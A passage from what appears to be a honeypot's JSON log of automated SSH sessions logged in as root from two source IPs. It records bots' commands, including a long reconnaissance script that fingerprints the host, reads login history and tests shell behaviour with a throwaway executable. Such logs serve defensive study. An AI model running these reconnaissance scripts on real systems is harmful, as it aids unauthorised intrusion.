2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:00:19.188514+00:00",
  "ended_at": "2026-08-25T02:00:20.200006+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "288ed572-a1e2-4b0f-98ac-bde9668b7143",
  "name": "shifting-forlorn-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 42296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:00:11.997812+00:00",
  "ended_at": "2026-08-25T02:00:15.491767+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "702e4665-4e76-4288-ba86-658cae9a4d55",
  "name": "umber-fickle-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 50364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T01:59:35.350475+00:00",
  "ended_at": "2026-08-25T01:59:35.922094+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6cefded6-dad4-4f87-9bcb-af15cca78e6f",
  "name": "knotted-vaulted-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:59:05.092377+00:00",
  "ended_at": "2026-08-25T01:59:07.710179+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0ca1a9da-0585-49d5-83cb-477df0c84970",
  "name": "shifting-lofty-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 48752,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T01:58:53.208070+00:00",
  "ended_at": "2026-08-25T01:58:53.306387+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "fc0140ed-691d-43dd-b755-20eb1ee29e09",
  "name": "rambling-brazen-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 44670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:58:42.993440+00:00",
  "ended_at": "2026-08-25T01:58:48.488184+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "acaaf3d3-dcff-479c-b297-4bee12d6cf17",
  "name": "candid-spirited-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 44686,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:58:41.901481+00:00",
  "ended_at": "2026-08-25T01:58:47.393909+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3c816ac7-a61d-411f-b64c-caa6f759fcae",
  "name": "coral-feathered-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 187,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:58:31.708034+00:00",
  "ended_at": "2026-08-25T01:58:37.615425+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "26f79e30-d690-477e-a869-13bb0f586909",
  "name": "tidal-graceful-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51874,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:58:20.114499+00:00",
  "ended_at": "2026-08-25T01:58:23.614251+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2f6146f7-3327-4f65-b6e6-2701e4e9f692",
  "name": "clever-wiry-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 47116,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T01:58:10.509773+00:00",
  "ended_at": "2026-08-25T01:58:10.600310+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c8d3e3eb-b6b6-4370-a556-5ecf108f8131",
  "name": "gentle-bold-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 45478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T01:57:28.832344+00:00",
  "ended_at": "2026-08-25T01:57:28.927064+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "91f75067-34a8-416b-aa49-6efb4691053d",
  "name": "regal-hardy-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 37422,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:57:05.401349+00:00",
  "ended_at": "2026-08-25T01:57:11.408613+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "752ae6c0-a6d4-4eae-b198-ce02c3ce3355",
  "name": "obsidian-steady-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 44978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:56:50.921465+00:00",
  "ended_at": "2026-08-25T01:56:56.019587+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3a856763-be50-4c80-9a93-6009278aea44",
  "name": "lawful-restless-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 43836,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho 